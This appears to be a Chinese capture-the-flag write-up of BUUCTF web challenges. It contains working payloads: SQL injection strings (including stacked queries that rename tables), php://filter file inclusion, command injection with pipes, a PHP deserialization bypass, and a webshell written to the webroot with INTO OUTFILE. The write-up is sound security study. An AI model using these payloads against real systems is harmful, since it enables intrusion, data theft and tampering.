出完misc,不如来刷点web是吧
[极客大挑战 2019]EasySQL 万能密码登录即可,
密码随便都行
[HCTF 2018]WarmUp image-20220113195617361
source.php 嗯打开试试,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php highlight_file(__FILE__ ); class emmm //定义emmm 类 { public static function checkFile(&$page)//将传入参数赋给$page { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (! isset ($page) || !is_string($page)) { echo "you can't see it" ; return false ; } if (in_array($page, $whitelist)) { return true ; } $_page = mb_substr( $page, 0 , mb_strpos($page . '?' , '?' ) ); if (in_array($_page, $whitelist)) { return true ; } $_page = urldecode($page); $_page = mb_substr( $_page, 0 , mb_strpos($_page . '?' , '?' ) ); if (in_array($_page, $whitelist)) { return true ; } echo "you can't see it" ; return false ; } } if (! empty ($_REQUEST['file' ]) && is_string($_REQUEST['file' ]) && emmm::checkFile($_REQUEST['file' ]) ) { include $_REQUEST['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
image-20220113195904381
看到hint 就是了一下,嗯这个提示,那么只要能成功访问ffffllllaaaagggg就行
1 http://xxxx:xxxx/source.php?file=source.php%253f../../../../../ffffllllaaaagggg
%253f为?编码两次的结果,前面的source.php?用于绕过白名单
然后第二次进行url解码只会对?解码一次此时得到的结果为?的一次url编码,实现绕过,../是因为不确定ffffllllaaaagggg在那个具体位置,依次增加即可访问成功,获得flag
[极客大挑战 2019]Havefun 可爱猫猫,
image-20220114165225417
让cat=dog就行
[ACTF2020 新生赛]Include image-20220114170700958
这又是一个找flag的环节,利用php://filter伪协议进行文件包含,payload如下
1 http://ec242c45-b53e-4213-a42b-bb8a5a97bcac.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
把读出来的内容转base64就行
image-20220114171237380
image-20220114173527938
image-20220114173659426
参考引用https://blog.csdn.net/weixin_45642610/article/details/112427044
[强网杯 2019]随便注 用sqlmap用惯了,就不太行,这里考察的是堆叠注入,先看看有什么好了
image-20220116121852873
image-20220116122619145
这边打了1‘ union select 1,2,database() #,发现了一大堆的过滤,但是这不影响用堆叠呀
image-20220116123025601
image-20220116123339409
查不到表的具体内容欸
image-20220116123745195
查了才知道这里要使用反引号
image-20220116123834423
发现flag
再查询words
image-20220116124857126
,也就是直接查询的结果都来自words中,
那么我们也可以用一些很好的方法(jiyinqiaoji)
方法一:handler查询 1 2 3 1'; handler `1919810931114514` open; handler `1919810931114514` read first;-- +
关于handler handler可以直接打开这个表,mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
1 2 3 4 5 6 7 8 9 10 11 12 HANDLER tbl_name OPEN [ [AS] alias] # 打开一张表,无返回结果,实际上声明了一个名为tb1_name的句柄。 HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...) [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT ... ] HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT ... ] # 获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。 HANDLER tbl_name CLOSE # 关闭打开的句柄。
方法二:重命名 那么把藏有flag的表及列名改掉
1 1';rename tables words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTERS SET utf8 COLLATE utf8_genneral_ci NOT NULL;desc words;
CHARACTERS SET utf8 :数据库字符集,设置为utf-8
COLLATE utf8_genneral_ci :数据库校对规则。ci是case insensitive的缩写,意思是大小写不敏感;相对的是cs,即case sensitive,大小写敏感;还有一种是utf8_bin,是将字符串中的每一个字符用二进制数据存储,区分大小写。
然后直接使用万能密码
就可以直接查询到flag了
方法三:预处理语句 关于预处理语句 1 2 3 4 5 6 7 8 9 10 11 12 13 14 PREPARE name from '[my sql sequece]' ; //预定义SQL语句EXECUTE name ; //执行预定义SQL语句 (DEALLOCATE || DROP ) PREPARE name ; //删除预定义SQL语句 //预定义语句也可以通过变量进行传递: SET @tn = 'hahaha' ; //存储表名SET @sql = concat ('select * from ' , @tn); //存储SQL语句PREPARE name from @sql ; //预定义SQL语句EXECUTE name ; //执行预定义SQL语句 (DEALLOCATE || DROP ) PREPARE sqla; //删除预定义SQL语句set 用于设置变量名和值prepare 用于预备一个语句,并赋予名称,以后可以引用该语句execute 执行语句deallocate prepare 用来释放掉预处理的语句
char(115,101,108,101,99,116)为select
payload1:不使用变量 1 1';PREPARE hacker from concat (char (115 ,101 ,108 ,101 ,99 ,116 ), ' * from `1919810931114514` ' );EXECUTE hacker;
payload2:使用变量 1 1';SET @sqli=concat (char (115 ,101 ,108 ,101 ,99 ,116 ),'* from `1919810931114514`' );PREPARE hacker from @sqli;EXECUTE hacker;
payload3:只使用concat() 1 1';PREPARE hacker from concat ('s' ,'elect' , ' * from `1919810931114514` ' );EXECUTE hacker;
方法四:谁会想到这题可以写个shell呢 先查询一下用户
1 1';set @sql =concat ("s" ,"elect user()" );prepare sqla from @sql ;execute sqla;
image-20220119150243479
strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回str2在str1中首次出现的地址;否则,返回NULL,这里可以通过大小写进行绕过
1 1';Set @sql =concat ("s" ,"elect user()" );Prepare sqla from @sql ;execute sqla;
image-20220119150818554
由于这题是root权限,那么就可以,往网址写shell,这个路径wp说是猜的
1 2 3 4 1';Set @sql =concat ("s" ,"elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1" ,char (46 ),"php'" );PREPARE sqla from @sql ;EXECUTE sqla; //这里利用into outfile 生成PHP文件,利用char(46)绕过黑名单中的符号.
image-20220119154611509
这里使用该函数为了后面能成功打印出flag
这里并没有没有回显,但是,直接通过一句话木马去访问数据库
1 /1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\` ;"
这里账号密码均为root,1被赋值的内容会被传入到一句话木马中并执行
image-20220119151755074
即可拿到flag
总结 从docker的源码中可以发现,本题使用multi_query()执行一条或多条sql语句,然后将结果全部输出,这也是为什么堆叠注入可以成功的原因了
参考链接:https://www.cnblogs.com/chalan630/p/12583667.html
https://www.cnblogs.com/wjw-zm/p/12359735.html
https://www.jianshu.com/p/b24b16bd5b88
https://www.jianshu.com/p/36f0772f5ce8
[SUCTF 2019]EasySQL 还是堆叠注入,但是查询到Flag表的时候出现了一些问题,flag被ban掉了,并不能采用传统的堆叠注入查询,
查了wp才知道这边真实的查询语句是
1 select $post['query']||flag from Flag
也就是前一句为真时,只执行前半句,这里的||是或,那么这边的或需要通过输入0以及非0数字得到的回显进行判断。
方法一 1 2 3 4 5 *,1 //即让查询语句为 select *,1||flag from Flag //此时的真实查询语句为 select *,1 from Flag
利用*查询所有内容,1用于占位,换成别的也行
方法二 让||不是或的意思,而是连接符的意思,进行如下操作
1 1;set sql_mode=PIPES_AS_CONCAT;select 1
如果后面的select 1,不是数字的话,也不能成功获得flag
[ACTF2020 新生赛]Exec 命令执行漏洞,利用管道符拿flag
|按位或 1 127.0.0.1 |cat /flag #直接执行后面的语句
||逻辑或
&按位与 1 127.0.0.1 &cat /flag #&前面和后面命令都要执行,无论前面真假
&&逻辑与 1 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
但是这里并不成功,怀疑被ban掉了,在本地可执行成功
image-20220125141158738
;(linux中与&功能相同)
[极客大挑战 2019]Secret File image-20220125143801788
f12看看
image-20220125143929467
点进php看看
image-20220125143959877
再点一下
image-20220125144017214
flag呢???????抓个包看看,在点下按钮时抓包image-20220125144315452
发现出现了action.php,出现了重定向
image-20220125144617949
filter没有被过滤掉,那php伪协议读取flag.php
1 ?file=php:// convert.base64-encode/resource=flag.php
image-20220125145031110
image-20220125145309883
[极客大挑战 2019]LoveSQL image-20220125150456014
感觉直接注入就行,除了注释只能用%23
image-20220126135236854
image-20220126135624860
当前使用的数据库是geek
image-20220126140100267
查到geek中数据表
image-20220126140815301
拿到flag
[GXYCTF2019]Ping Ping Ping 一样是去pingip地址,应该也是命令利用的问题
但是image-20220126141248002
直接拿flag的好事还是不要想了,看看有什么文件
image-20220126144030367
image-20220126144227336
拿不到flag,那看看index.php
image-20220126144409142
还是不行,{}被过滤了
image-20220126144552339
去掉无回显
image-20220126144854217
有点东西,flag也被ban掉了,
绕过方法一 image-20220205195049252
这里通过变量a赋值实现访问flag.php,绕过f、l、a、g按序出现的检查,同理使用多变量也行,尝试了一下a如果为另外三个字母并不能成功绕过
绕过方法二 image-20220205204017769
把ls的结果作为cat的参数,实现不输入flag读取flag
[极客大挑战 2019]Http image-20220127194333230
藏了一个链接
image-20220127194643316
image-20220127194742346
image-20220127194759152
image-20220127194844700
image-20220127195000103
[极客大挑战 2019]Knife image-20220127201542703
连shell,然后flag在根目录里
[极客大挑战 2019]BuyFlag image-20220131235035117
对user进行修改
image-20220131235012307
关于如何成为cuiter这件事
image-20220131235117727
image-20220131235217171
密码可能对了但是
image-20220131235330369
密码不能为纯数字,这里考的是php弱比较
参考:https://www.runoob.com/php/php-types-comparisons.html#:~:text=PHP%20%E7%B1%BB%E5%9E%8B%E6%AF%94%E8%BE%83%20%E8%99%BD%E7%84%B6%20PHP%20%E6%98%AF%E5%BC%B1%E7%B1%BB%E5%9E%8B%E8%AF%AD%E8%A8%80%EF%BC%8C%E4%BD%86%E4%B9%9F%E9%9C%80%E8%A6%81%E6%98%8E%E7%99%BD%E5%8F%98%E9%87%8F%E7%B1%BB%E5%9E%8B%E5%8F%8A%E5%AE%83%E4%BB%AC%E7%9A%84%E6%84%8F%E4%B9%89%EF%BC%8C%E5%9B%A0%E4%B8%BA%E6%88%91%E4%BB%AC%E7%BB%8F%E5%B8%B8%E9%9C%80%E8%A6%81%E5%AF%B9%20PHP,%E5%8F%98%E9%87%8F%E8%BF%9B%E8%A1%8C%E6%AF%94%E8%BE%83%EF%BC%8C%E5%8C%85%E5%90%AB%E6%9D%BE%E6%95%A3%E5%92%8C%E4%B8%A5%E6%A0%BC%E6%AF%94%E8%BE%83%E3%80%82%20%E6%9D%BE%E6%95%A3%E6%AF%94%E8%BE%83%EF%BC%9A%E4%BD%BF%E7%94%A8%E4%B8%A4%E4%B8%AA%E7%AD%89%E5%8F%B7%20%3D%3D%20%E6%AF%94%E8%BE%83%EF%BC%8C%E5%8F%AA%E6%AF%94%E8%BE%83%E5%80%BC%EF%BC%8C%E4%B8%8D%E6%AF%94%E8%BE%83%E7%B1%BB%E5%9E%8B%E3%80%82%20%E4%B8%A5%E6%A0%BC%E6%AF%94%E8%BE%83%EF%BC%9A%E7%94%A8%E4%B8%89%E4%B8%AA%E7%AD%89%E5%8F%B7%20%3D%3D%3D%20%E6%AF%94%E8%BE%83%EF%BC%8C%E9%99%A4%E4%BA%86%E6%AF%94%E8%BE%83%E5%80%BC%EF%BC%8C%E4%B9%9F%E6%AF%94%E8%BE%83%E7%B1%BB%E5%9E%8B%E3%80%82
那么由于本题只用了==,那么就可以在404后面加一点字符串,使其绕过纯数字的检查,也可以选择%00或者%20进行绕过
(注:%20只能放在404后面,%00都行
image-20220131235410906
记下来这边有两种操作
方法一:科学记数法 image-20220131235437361
方法二:数组绕过 money[]=1,旧版本php5.3以前中的strcmp()中如果上传的类型不是字符串,就会返回0,当strcmp()函数判断相等时,函数也会返回0,0与0相等,从而绕过检查。
strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
参考链接:https://blog.51cto.com/u_15077552/3628715
[极客大挑战 2019]Upload 当我上传一张图片的时候,我得到了这个
image-20220206202110356
好的他觉得这不是图片
image-20220206202600329
抓个包看了一下,文件头好像识别不到,图片类型能够直接输入的也就只有GIF了
image-20220206204459586
image-20220206204522997
image-20220206204549790
测试了一下,只要带一个GIF89a的头就行,至于文件类型,只要是image开头的感觉都可以,不一定要和后面的文件头一样
找了一下上传的文件在upload里,那写个一句话的图片🐎
image-20220206210050708
看来用png做图片🐎不太行
image-20220206210352410
我收起这个想法
直接写算了
image-20220206210555010
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class Name { private $username; private $password; public function __construct ($username, $password ) { $this ->username = $username; $this ->password = $password; } } $user = new Name('admin' ,100 ); var_dump(serialize($user)); ?>
然而这样并不足以绕过,可以将序列化的Name对象作为select参数的值提交。当执行反序列化之后,又恢复成Name对象,并且,在Name对象销毁时,会自动调用`__destruct()`方法。
当时这里用个问题,就是在执行`__destruct()`方法之前,可能会先执行wakeup()方法,并且在**`wakeup()`会修改username的值**。
因此,这里**应该绕过wakeup()方法**,避免`wakeup()`执行。
在不想执行 __wakeup() 的时候,可以让序列化结果中类属性的数值大于其真正的数值进行绕过,这个方式适用于PHP < 5.6.25 和 PHP< 7.0.10。
那这里把2改成3
最后的payload如下:
1 /?select=O:4 :"Name" :3 :{s:14 :"%00Nameusername" ;s:5 :"admin" ;s:14 :"Namepassword" ;i:100 ;}
参考链接:
https://zhuanlan.zhihu.com/p/366455343
https://blog.csdn.net/qq_45927266/article/details/120380343
# [极客大挑战 2019]BabySQL
![image-20220313163626724](buu1-web/image-20220313163626724.png)
![image-20220313164052931](buu1-web/image-20220313164052931.png)
![image-20220313164506955](buu1-web/image-20220313164506955.png)
![image-20220313165039532](buu1-web/image-20220313165039532.png)
![image-20220313165116686](buu1-web/image-20220313165116686.png)
![image-20220313165301926](buu1-web/image-20220313165301926.png)
# [ACTF2020 新生赛]Upload
![image-20220314180239742](buu1-web/image-20220314180239742.png)
上传一张图片以后,可以得到存储目录以及上传后的图片名字
/uplo4d 不让直接访问,但是这不是很影响
![image-20220314182257027](buu1-web/image-20220314182257027.png)
![image-20220314192724307](buu1-web/image-20220314192724307.png)
~~少了个?,小声~~
![image-20220314193050215](buu1-web/image-20220314193050215.png)
![image-20220314193255727](buu1-web/image-20220314193255727.png)
又到了传马,cat /flag的环节,没了
# [RoarCTF 2019]Easy Calc
![image-20220321213019871](buu1-web/image-20220321213019871.png)
习惯f12,发现有waf,过waf的话需要危险传参
![image-20220321213341965](buu1-web/image-20220321213341965.png)
calc.php引起注意,打开看看
![image-20220321213551464](buu1-web/image-20220321213551464.png)
有点东西,过滤了一堆字符,参数是num,第一个就是过滤空格,那这里可以通过 num(就是num前面加一个空格完成传参,由于/ ,''被过滤了这里可以通过chr(47)进行绕过
![image-20220321215049946](buu1-web/image-20220321215049946.png)
补充:var_dump() :打印变量的相关信息 scandir():列出文件目录,访问f1agg
![image-20220321221751130](buu1-web/image-20220321221751130.png)
file_get_contents()读取文件内容
PHP的字符串解析特性
这是别人对PHP字符串解析漏洞的理解,
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
参考链接:https://blog.csdn.net/weixin_44077544/article/details/102630714
# [ACTF2020 新生赛]BackupFile
扫一扫得到备份文件
![image-20220327215523579](buu1-web/image-20220327215523579.png)
![image-20220327215553139](buu1-web/image-20220327215553139.png)
php弱比较,传参key=123即可绕过
# [护网杯 2018]easy_tornado
让我康康有什么
![image-20220328210600168](buu1-web/image-20220328210600168.png)
![image-20220328210620835](buu1-web/image-20220328210620835.png)
![image-20220328210635443](buu1-web/image-20220328210635443.png)
知道了flag在哪里,提示了cookie_secret,render,那就查一下,render()可以对服务器端渲染,*render*方法的实质就是生成template模板这里是考的是模板注入(ssti),因为[render](https://so.csdn.net/so/search?q=render&spm=1001.2101.3001.7020)()是tornado里的函数,[Tornado](https://so.csdn.net/so/search?q=Tornado&spm=1001.2101.3001.7020)框架的附属文件handler.settings中存在cookie_secret,
测试注入点
![image-20220328213049326](buu1-web/image-20220328213049326.png)
![image-20220328213510476](buu1-web/image-20220328213510476.png)
从报错页面进行注入
![image-20220328214852638](buu1-web/image-20220328214852638.png)
![image-20220328214949353](buu1-web/image-20220328214949353.png)
![image-20220328220413072](buu1-web/image-20220328220413072.png)
![image-20220328220339212](buu1-web/image-20220328220339212.png)